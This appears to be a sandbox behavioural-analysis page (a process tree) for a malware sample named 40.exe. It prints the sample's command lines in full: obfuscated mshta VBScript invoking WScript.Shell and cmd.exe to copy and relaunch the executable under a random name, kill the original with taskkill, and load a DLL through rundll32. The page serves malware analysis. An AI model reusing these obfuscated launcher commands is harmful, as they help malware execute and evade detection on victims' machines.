| ZeroBOX

40.exe "C:\Users\test22\AppData\Local\Temp\40.exe"
2236
- mshta.exe "C:\Windows\System32\mshta.exe" VbscripT: clOSE( cReATEoBjEct ( "WSCriPt.ShELL"). run ( "CmD.EXE /c CopY /y ""C:\Users\test22\AppData\Local\Temp\40.exe"" W7sP3hTJPToEEt.exE &&START W7sP3HTJPToeET.exe /PCOd0LPl_yA& if """"== """" for %j In (""C:\Users\test22\AppData\Local\Temp\40.exe"" ) do taskkill /F -Im ""%~Nxj"" ", 0 ,TRUE ))
  1316
  - cmd.exe "C:\Windows\System32\cmd.exe" /c CopY /y "C:\Users\test22\AppData\Local\Temp\40.exe" W7sP3hTJPToEEt.exE &&START W7sP3HTJPToeET.exe /PCOd0LPl_yA&if ""=="" for %j In ("C:\Users\test22\AppData\Local\Temp\40.exe" ) do taskkill /F -Im "%~Nxj"
    2408
    - W7sP3hTJPToEEt.exE W7sP3HTJPToeET.exe /PCOd0LPl_yA
      2296
      - mshta.exe "C:\Windows\System32\mshta.exe" VbscripT: clOSE( cReATEoBjEct ( "WSCriPt.ShELL"). run ( "CmD.EXE /c CopY /y ""C:\Users\test22\AppData\Local\Temp\W7sP3hTJPToEEt.exE"" W7sP3hTJPToEEt.exE &&START W7sP3HTJPToeET.exe /PCOd0LPl_yA& if ""/PCOd0LPl_yA""== """" for %j In (""C:\Users\test22\AppData\Local\Temp\W7sP3hTJPToEEt.exE"" ) do taskkill /F -Im ""%~Nxj"" ", 0 ,TRUE ))
        2976
        
        cmd.exe "C:\Windows\System32\cmd.exe" /c CopY /y "C:\Users\test22\AppData\Local\Temp\W7sP3hTJPToEEt.exE" W7sP3hTJPToEEt.exE &&START W7sP3HTJPToeET.exe /PCOd0LPl_yA&if "/PCOd0LPl_yA"=="" for %j In ("C:\Users\test22\AppData\Local\Temp\W7sP3hTJPToEEt.exE" ) do taskkill /F -Im "%~Nxj"
        2220
      - rundll32.exe "C:\Windows\System32\rundll32.exe" GBmH.yE,MSoGFUg
        2776
    - taskkill.exe taskkill /F -Im "40.exe"
      916

No process loaded Click on a process in the tree above to load its data.

PID
Parent PID

default registry file network process services synchronisation iexplore office pdf

Behavioral Analysis

Process tree

Process contents